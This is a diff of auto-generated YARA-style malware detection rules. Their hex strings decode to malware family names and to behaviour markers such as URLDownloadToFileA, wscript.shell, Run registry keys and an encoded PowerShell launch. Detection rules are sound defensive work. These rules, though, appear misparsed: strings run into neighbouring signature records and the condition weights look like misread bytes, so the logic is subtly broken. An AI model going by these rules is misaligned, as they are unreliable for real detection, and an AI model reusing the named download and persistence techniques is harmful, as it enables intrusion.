@@ rule _InfrastructureShared_15640{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*33+(#a_69_2 & 1)*19765) >=2 } -rule _InfrastructureShared_15641{ +rule _InfrastructureShared_16670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -182057,7 +194274,7 @@ rule _InfrastructureShared_15641{ ((#a_54_0 & 1)*18467+(#a_7b_1 & 1)*-15114+(#a_0f_2 & 1)*4098+(#a_2c_3 & 1)*2+(#a_00_4 & 1)*400+(#a_01_7 & 1)*-28672+(#a_00_8 & 1)*0) >=2 } -rule _InfrastructureShared_15642{ +rule _InfrastructureShared_16671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182068,7 +194285,7 @@ rule _InfrastructureShared_15642{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585) >=3 } -rule _InfrastructureShared_15643{ +rule _InfrastructureShared_16672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182079,7 +194296,7 @@ rule _InfrastructureShared_15643{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*13568) >=3 } -rule _InfrastructureShared_15644{ +rule _InfrastructureShared_16673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182091,7 +194308,7 @@ rule _InfrastructureShared_15644{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*-27386+(#a_07_2 & 1)*5074) >=3 } -rule _InfrastructureShared_15645{ +rule _InfrastructureShared_16674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182102,7 +194319,7 @@ rule _InfrastructureShared_15645{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10250) >=3 } -rule _InfrastructureShared_15646{ +rule _InfrastructureShared_16675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182114,7 +194331,7 @@ rule _InfrastructureShared_15646{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4957+(#a_01_2 & 1)*28425) >=3 } -rule _InfrastructureShared_15647{ +rule _InfrastructureShared_16676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182125,7 +194342,7 @@ rule _InfrastructureShared_15647{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*-29301) >=3 } -rule _InfrastructureShared_15648{ +rule _InfrastructureShared_16677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -182137,7 +194354,7 @@ rule _InfrastructureShared_15648{ ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*-29880+(#a_4c_2 & 1)*9284) >=3 } -rule _InfrastructureShared_15649{ +rule _InfrastructureShared_16678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -182148,7 +194365,7 @@ rule _InfrastructureShared_15649{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_15650{ +rule _InfrastructureShared_16679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -182161,7 +194378,7 @@ rule _InfrastructureShared_15650{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*0+(#a_72_2 & 1)*28531+(#a_8b_3 & 1)*1049) >=4 } -rule _InfrastructureShared_15651{ +rule _InfrastructureShared_16680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -182174,7 +194391,7 @@ rule _InfrastructureShared_15651{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24196+(#a_00_2 & 1)*11661+(#a_49_3 & 1)*16641) >=4 } -rule _InfrastructureShared_15652{ +rule _InfrastructureShared_16681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -182186,7 +194403,7 @@ rule _InfrastructureShared_15652{ ((#a_4c_0 & 1)*21539+(#a_10_2 & 1)*17607+(#a_ff_3 & 1)*400) >=4 } -rule _InfrastructureShared_15653{ +rule _InfrastructureShared_16682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -182199,7 +194416,7 @@ rule _InfrastructureShared_15653{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*27745+(#a_72_2 & 1)*24434+(#a_4b_3 & 1)*24940) >=4 } -rule _InfrastructureShared_15654{ +rule _InfrastructureShared_16683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -182209,7 +194426,7 @@ rule _InfrastructureShared_15654{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_15655{ +rule _InfrastructureShared_16684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -182219,38 +194436,80 @@ rule _InfrastructureShared_15655{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_15656{ +rule _InfrastructureShared_16685{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 59 21 4d 54 42 00 01 00 19 81 01 61 66 66 69 6c 69 65 72 65 6e 64 65 20 6d 61 63 72 6f 63 6c 61 64 6f 75 73 01 00 20 81 01 73 68 69 76 65 72 73 6f 6d 65 20 74 72 6f 70 65 73 } //18467 + $a_6f_1 = {20 73 6c 61 67 73 65 6e 65 73 01 00 31 81 01 6c 61 6e 64 73 73 6b 61 74 74 65 72 65 74 73 61 66 67 72 65 6c 73 65 72 20 62 6f 6e 64 65 6b 6e 6f 6c 64 65 6e 20 72 75 64 65 76 61 73 6b 65 72 73 01 00 1a 81 01 70 65 72 6d 69 73 73 69 62 6c 79 20 73 70 72 61 64 64 6c 69 6e 67 2e 65 78 65 01 00 28 81 01 } //26489 + $a_69_2 = {69 6c 69 73 61 74 69 6f 6e 20 6a 65 77 66 69 73 68 20 65 6c 65 63 74 72 6f 70 68 6f 74 6f 6d 65 74 65 72 00 00 78 f2 00 00 05 00 05 00 07 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 59 54 44 56 69 64 65 6f 44 6f 77 6e 6c 6f 61 64 2e 4b 53 31 38 00 01 00 3f 80 01 45 61 } //28277 + $a_69_3 = {73 74 61 6c 6c 61 74 69 6f 6e 2c 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 6f 70 74 20 6f 75 } //31091 stallation, automatically opt ou + $a_72_4 = {6d 20 61 64 64 69 74 69 6f 6e 61 6c 20 6f 66 66 65 72 73 01 00 10 80 01 43 4d 46 43 50 6f 70 75 70 4d 65 6e 75 42 61 72 01 00 11 80 01 59 6f 75 74 75 62 65 44 6f 77 6e 6c 6f 61 64 65 72 01 00 0f 80 01 54 6f 6f 6c 62 61 72 57 69 6e 64 6f 77 33 32 01 00 14 80 01 54 4f 4f 4c 42 41 52 5f 52 45 53 45 54 54 4f } //8308 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26489+(#a_69_2 & 1)*28277+(#a_69_3 & 1)*31091+(#a_72_4 & 1)*8308) >=5 + +} +rule _InfrastructureShared_16686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " strings : $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 59 54 44 56 69 64 65 6f 44 6f 77 6e 6c 6f 61 64 2e 4b 53 31 38 00 01 00 3f 80 01 45 61 73 79 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 2c 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 } //16675 $a_74_1 = {6f 75 74 20 66 72 6f 6d 20 61 64 64 69 74 69 6f 6e 61 6c 20 6f 66 66 65 72 73 01 00 10 80 01 43 4d 46 43 50 6f 70 75 70 4d 65 6e 75 42 61 72 01 00 11 80 01 59 6f 75 74 75 62 65 44 6f 77 6e 6c 6f 61 64 65 72 01 00 0f 80 01 54 6f 6f 6c 62 61 72 57 69 6e 64 6f 77 33 32 01 00 14 80 01 54 4f 4f 4c 42 41 52 5f 52 45 53 45 54 54 4f 4f 4c 42 } //28448 - $a_ff_2 = {80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4d 65 74 65 6f 72 69 74 65 2e 41 21 4d 54 42 00 01 00 13 01 4d 65 74 65 6f 72 69 74 65 44 6f 77 6e 6c 6f 61 64 65 72 01 00 0d 01 4d 65 74 65 6f 72 69 74 65 2e 65 78 65 01 00 0d 01 77 73 63 72 69 70 74 2e 73 68 65 6c 6c 01 00 12 01 55 52 4c 44 6f 77 6e 6c } //21057 - $a_54_3 = {46 69 6c 65 41 01 00 33 01 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 5c 01 00 33 01 48 4b 4c 4d 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 } //24943 - $a_56_4 = {72 73 69 6f 6e 5c 52 75 6e 5c 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 56 31 32 33 21 4d 54 42 00 01 00 1a 81 01 64 75 73 72 65 6e 20 62 61 72 63 61 72 6f 6c 65 20 73 75 6c 63 61 6c 69 7a 65 01 00 0c 81 01 61 6c 61 72 6d 73 79 73 74 65 6d 73 01 00 36 81 01 75 64 73 74 79 6b 6e } //28261 - $a_73_5 = {6c 61 6e 20 75 69 64 65 6e 74 69 66 69 63 65 72 62 61 72 65 73 20 76 72 64 69 70 61 70 69 72 63 65 6e 74 72 61 6c 65 72 6e 65 01 00 12 81 01 64 75 6c 63 69 67 65 6e 69 63 20 61 73 74 65 72 69 78 01 00 1f 81 01 63 69 76 69 6c 69 73 61 74 69 6f 6e 65 72 20 6d 61 72 6b 69 6c 64 20 67 6f 61 6c 6c 65 73 73 01 00 } //28265 - $a_62_6 = {69 } //-32483 i + $a_ff_2 = {80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 f2 00 00 06 00 06 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 68 61 6e 61 72 61 76 61 2e 47 56 41 21 4d 54 42 00 02 00 3c 01 f3 0f 7e 04 11 66 0f ef c9 4c 8d 04 53 89 c2 83 e2 f8 66 0f 64 c8 66 0f 6f d0 01 d6 66 0f 60 c1 66 0f 60 d1 66 0f 70 c0 4e 66 41 0f d6 10 66 41 0f d6 40 08 a8 07 0f 84 8a 00 00 00 01 00 14 01 48 63 d2 66 0f be 14 11 66 } //21057 + $a_06_3 = {8d 56 04 } //21641 + $a_35_4 = {00 0c 01 2f 73 65 63 6f 6e 64 2e 68 74 6d 6c 01 00 2a 00 6d 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 65 00 6e 00 63 00 20 00 22 00 25 00 68 00 73 00 01 00 2b 01 2a 2a 2a 20 73 74 61 63 6b 20 73 6d 61 73 68 69 6e 67 20 64 65 74 65 63 74 65 64 20 2a 2a 2a 3a 20 74 65 72 6d 69 6e 61 74 65 64 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a } //-10439 + $a_6a_5 = {6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4d 65 74 65 6f 72 69 74 65 2e 41 21 4d 54 42 00 01 00 13 01 4d 65 74 65 6f 72 69 74 65 44 6f 77 6e 6c 6f 61 64 65 72 01 00 0d 01 4d 65 74 65 6f 72 69 74 65 2e 65 78 65 01 00 0d 01 77 73 63 72 69 70 74 2e 73 68 65 6c 6c 01 00 12 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c } //29268 + $a_00_6 = {33 } //16741 3 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28448+(#a_ff_2 & 1)*21057+(#a_54_3 & 1)*24943+(#a_56_4 & 1)*28261+(#a_73_5 & 1)*28265+(#a_62_6 & 1)*-32483) >=5 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28448+(#a_ff_2 & 1)*21057+(#a_06_3 & 1)*21641+(#a_35_4 & 1)*-10439+(#a_6a_5 & 1)*29268+(#a_00_6 & 1)*16741) >=5 } -rule _InfrastructureShared_15657{ +rule _InfrastructureShared_16687{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 68 61 6e 61 72 61 76 61 2e 47 56 41 21 4d 54 42 00 02 00 3c 01 f3 0f 7e 04 11 66 0f ef c9 4c 8d 04 53 89 c2 83 e2 f8 66 0f 64 c8 66 0f 6f d0 01 d6 66 0f 60 c1 66 0f } //21539 + $a_0f_1 = {70 c0 4e 66 41 0f d6 10 66 41 0f d6 40 08 a8 07 0f 84 8a 00 00 00 01 00 14 01 48 63 d2 66 0f be 14 11 66 89 54 03 06 8d 56 04 39 d7 7e 35 01 00 0c 01 2f 73 65 63 6f 6e 64 2e 68 74 6d 6c 01 00 2a 00 6d 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 65 00 6e 00 63 00 20 00 22 00 } //-11936 + $a_00_2 = {73 00 01 00 2b 01 2a 2a 2a 20 73 74 61 63 6b 20 73 6d 61 73 68 69 6e 67 20 64 65 74 65 63 74 65 64 20 2a 2a 2a 3a 20 74 65 72 6d 69 6e 61 74 65 64 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4d 65 74 65 6f 72 69 74 65 2e 41 21 4d 54 } //37 + $a_00_3 = {13 } //66 + $a_74_4 = {6f 72 69 74 65 44 6f 77 6e 6c 6f 61 64 65 72 01 00 0d 01 4d 65 74 65 6f 72 69 74 65 2e 65 78 65 01 00 0d 01 77 73 63 72 69 70 74 2e 73 68 65 6c 6c 01 00 12 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 01 00 33 01 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 } //19713 + condition: + ((#a_4c_0 & 1)*21539+(#a_0f_1 & 1)*-11936+(#a_00_2 & 1)*37+(#a_00_3 & 1)*66+(#a_74_4 & 1)*19713) >=6 + +} +rule _InfrastructureShared_16688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4d 65 74 65 6f 72 69 74 65 2e 41 21 4d 54 42 00 01 00 13 01 4d 65 74 65 6f 72 69 74 65 44 6f 77 6e 6c 6f 61 64 65 72 01 00 0d 01 4d 65 74 65 6f 72 69 74 65 2e } //16675 $a_01_1 = {00 0d 01 77 73 63 72 69 70 74 2e 73 68 65 6c 6c 01 00 12 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 01 00 33 01 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 5c 01 00 33 01 48 4b 4c 4d } //30821 - $a_66_2 = {77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 5c 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 56 31 32 33 21 4d 54 42 00 01 00 1a 81 01 64 75 73 72 65 6e 20 62 61 72 63 61 72 6f 6c 65 20 73 } //21340 - $a_61_3 = {69 7a 65 01 00 0c 81 01 61 6c 61 72 6d 73 79 73 74 65 6d 73 01 00 36 81 01 75 64 73 74 79 6b 6e 69 6e 67 73 70 6c 61 6e 20 75 69 64 65 6e 74 69 66 69 63 65 72 62 61 72 65 73 20 76 72 64 69 70 61 70 69 72 63 65 6e 74 72 61 6c 65 72 6e 65 01 00 12 81 01 64 75 6c 63 69 67 65 6e 69 63 20 61 73 74 65 } //27765 - $a_01_4 = {00 1f 81 01 63 69 76 69 6c 69 73 61 74 69 6f 6e 65 72 20 6d 61 72 6b 69 6c 64 20 67 6f 61 6c 6c 65 73 73 01 00 1d 81 01 62 72 69 73 74 6c 79 20 73 75 62 6c 75 73 74 72 6f 75 73 6c 79 20 66 72 67 65 6e 64 65 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 4e 31 32 33 21 4d 54 42 00 01 00 1d 81 01 } //26994 - $a_70_5 = {20 75 6e 72 75 69 6e 6f 75 73 6c 79 20 73 6d 6c 65 68 6f 76 65 64 65 74 01 00 16 81 01 73 70 72 6f 67 73 74 61 6d 6d 65 72 73 20 63 61 72 73 74 6f 6e 65 01 00 1e 81 01 62 65 67 72 65 62 73 61 70 70 61 72 61 74 65 72 5c 63 6c 65 61 72 65 72 5c 6a 61 6e 69 73 01 00 1b 81 01 25 6b 6f 72 72 75 6d 70 65 72 65 25 5c 65 66 74 65 72 } //25972 + $a_66_2 = {77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 5c 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4f 30 31 21 4d 54 42 00 01 00 15 81 01 5c 52 69 76 61 6c 69 7a 65 73 5c 62 6f 65 6a 65 72 2e 67 69 } //21340 + $a_6f_4 = {72 61 6d 69 73 5c 41 76 69 73 63 68 69 6b 61 6e 65 2e 69 6e 69 01 00 21 81 01 5c 6f 64 6f 6e 74 6f 74 68 65 72 61 70 69 61 5c 50 65 72 66 65 63 74 6e 65 73 73 65 73 2e 74 78 74 01 00 24 81 01 66 6c 6f 74 61 74 69 } //23553 + $a_72_5 = {42 75 6c 6c 65 6e 73 6b 61 62 65 6e 73 5c 6b 6f 6e 73 74 61 6e 63 69 61 01 00 1f 81 01 69 6e 74 72 69 67 65 6e 20 74 69 6c 64 65 6c 69 6e 67 73 73 61 65 74 6e 69 6e 67 2e 65 78 65 01 00 1a 81 01 70 75 72 67 61 74 6f 72 69 61 6c 20 67 65 72 6d 61 6e 6f 63 65 6e 74 72 69 63 00 00 78 f2 00 00 06 00 06 00 } //28271 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_66_2 & 1)*21340+(#a_61_3 & 1)*27765+(#a_01_4 & 1)*26994+(#a_70_5 & 1)*25972) >=6 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_66_2 & 1)*21340+(#a_6f_4 & 1)*23553+(#a_72_5 & 1)*28271) >=6 } -rule _InfrastructureShared_15658{ +rule _InfrastructureShared_16689{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4f 30 31 21 4d 54 42 00 01 00 15 81 01 5c 52 69 76 61 6c 69 7a 65 73 5c 62 6f 65 6a 65 72 2e 67 69 66 01 00 19 81 01 5c 47 6f 75 72 61 6d 69 73 5c 41 76 69 73 63 68 69 6b 61 6e 65 2e 69 6e 69 01 } //18467 + $a_01_1 = {5c 6f 64 6f 6e 74 6f 74 68 65 72 61 70 69 61 5c 50 65 72 66 65 63 74 6e 65 73 73 65 73 2e 74 78 74 01 00 24 81 01 66 6c 6f 74 61 74 69 6f 6e 65 72 5c 42 75 6c 6c 65 6e 73 6b 61 62 65 6e 73 5c 6b 6f 6e 73 74 61 6e 63 69 61 01 00 1f 81 01 69 6e 74 72 69 67 65 6e 20 74 69 6c 64 65 6c 69 6e 67 73 73 61 65 74 6e 69 6e 67 2e 65 78 65 01 00 1a 81 01 70 75 72 67 61 74 6f 72 69 61 6c 20 67 65 } //8448 + $a_6e_2 = {63 65 6e 74 72 69 63 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 56 31 32 33 21 4d 54 42 00 01 00 1a 81 01 64 75 73 72 65 6e 20 62 61 72 63 61 72 6f 6c 65 20 73 75 6c 63 61 6c 69 7a 65 01 00 0c 81 01 61 6c 61 72 6d 73 79 73 } //28018 + $a_73_3 = {00 36 81 01 75 64 73 74 79 6b 6e 69 6e 67 73 70 6c 61 6e 20 75 69 64 65 6e 74 69 66 69 63 65 72 62 61 72 65 73 20 76 72 64 69 70 61 70 69 72 63 65 6e 74 72 61 6c 65 72 6e 65 01 00 12 81 01 64 75 6c 63 69 67 65 6e 69 63 20 61 73 74 65 72 69 78 01 00 1f 81 01 63 69 76 69 6c 69 73 61 74 69 6f 6e 65 72 20 6d 61 72 6b 69 6c 64 20 } //25972 + $a_6c_4 = {65 73 73 01 00 1d 81 01 62 72 69 73 74 6c 79 20 73 75 62 6c 75 73 74 72 6f 75 73 6c 79 20 66 72 67 65 6e 64 65 00 00 78 f2 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 4e 31 32 33 21 4d 54 42 00 01 00 1d 81 01 74 65 6d 70 6f 20 75 6e 72 } //28519 + $a_6f_5 = {73 6c 79 20 73 6d 6c 65 68 6f 76 65 64 65 74 01 00 16 81 01 73 70 72 6f 67 73 74 61 6d 6d 65 72 73 20 63 61 72 73 74 6f 6e 65 01 00 1e 81 01 62 65 67 72 65 62 73 61 70 70 61 72 61 74 65 72 5c 63 6c 65 61 72 65 72 5c 6a 61 6e 69 73 01 00 1b 81 01 25 6b 6f 72 72 75 6d 70 65 72 65 25 5c 65 66 74 65 72 6d 6c 65 72 73 2e 50 65 6e 01 } //26997 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*8448+(#a_6e_2 & 1)*28018+(#a_73_3 & 1)*25972+(#a_6c_4 & 1)*28519+(#a_6f_5 & 1)*26997) >=6 + +} +rule _InfrastructureShared_16690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -182265,7 +194524,7 @@ rule _InfrastructureShared_15658{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*29811+(#a_73_2 & 1)*27746+(#a_65_3 & 1)*28532+(#a_01_4 & 1)*29797+(#a_2e_5 & 1)*30068) >=6 } -rule _InfrastructureShared_15659{ +rule _InfrastructureShared_16691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -182280,7 +194539,7 @@ rule _InfrastructureShared_15659{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29554+(#a_01_2 & 1)*5120+(#a_61_3 & 1)*27759+(#a_6e_4 & 1)*384+(#a_01_5 & 1)*4096) >=6 } -rule _InfrastructureShared_15660{ +rule _InfrastructureShared_16692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -182292,12 +194551,12 @@ rule _InfrastructureShared_15660{ $a_59_4 = {59 59 59 68 59 59 59 6f 59 59 64 59 59 30 59 59 59 59 59 59 59 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 54 47 45 31 21 4d 54 42 } //22873 $a_42_6 = {47 47 46 68 48 48 47 68 49 48 48 68 49 48 48 68 49 48 48 68 45 45 44 65 35 35 34 40 38 38 37 01 00 25 81 01 24 62 32 63 38 37 35 33 35 2d 30 37 31 61 2d 34 30 38 34 2d 62 37 34 31 2d 35 34 66 30 30 } //16897 $a_33_7 = {39 64 01 00 2e 81 01 57 69 6e 64 6f 77 73 5f 50 75 72 73 75 69 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 } //13157 - $a_01_8 = {49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 59 31 32 33 21 4d 54 42 00 01 00 2a 81 01 46 61 69 72 63 68 69 6c 64 20 53 65 6d 69 63 6f 6e 64 75 63 74 } //3072 + $a_01_8 = {49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 36 31 30 21 4d 54 42 00 01 00 1d 81 01 5c 72 6f 76 68 75 67 73 74 65 72 5c 73 6b 65 64 65 6b 61 74 61 72 } //3072 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25902+(#a_6c_2 & 1)*24948+(#a_66_3 & 1)*25940+(#a_59_4 & 1)*22873+(#a_42_6 & 1)*16897+(#a_33_7 & 1)*13157+(#a_01_8 & 1)*3072) >=6 } -rule _InfrastructureShared_15661{ +rule _InfrastructureShared_16693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -182307,13 +194566,13 @@ rule _InfrastructureShared_15661{ $a_30_2 = {59 59 59 59 59 59 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 00 78 f2 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 } //22884 $a_2e_3 = {47 45 31 21 4d 54 42 00 01 00 23 81 01 42 42 42 71 47 47 46 68 48 48 47 68 49 48 48 68 49 48 48 68 49 48 48 68 45 45 44 65 35 35 34 40 38 38 37 01 00 25 81 01 24 62 32 63 38 37 35 33 35 2d 30 37 31 61 2d 34 30 38 34 2d 62 37 34 31 2d 35 34 66 30 30 65 33 36 33 34 39 64 01 00 2e 81 01 57 69 } //27763 $a_77_4 = {5f 50 75 72 73 75 69 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 00 00 78 f2 00 00 07 00 07 00 } //25710 - $a_23_5 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 59 31 32 33 21 4d 54 42 00 01 00 } //7 - $a_46_6 = {69 } //-32470 i + $a_23_5 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 36 31 30 21 4d 54 42 00 01 00 1d } //7 + $a_72_6 = {76 68 75 67 73 74 65 72 5c 73 6b 65 64 65 6b 61 74 61 72 65 72 73 2e 69 6e 69 01 00 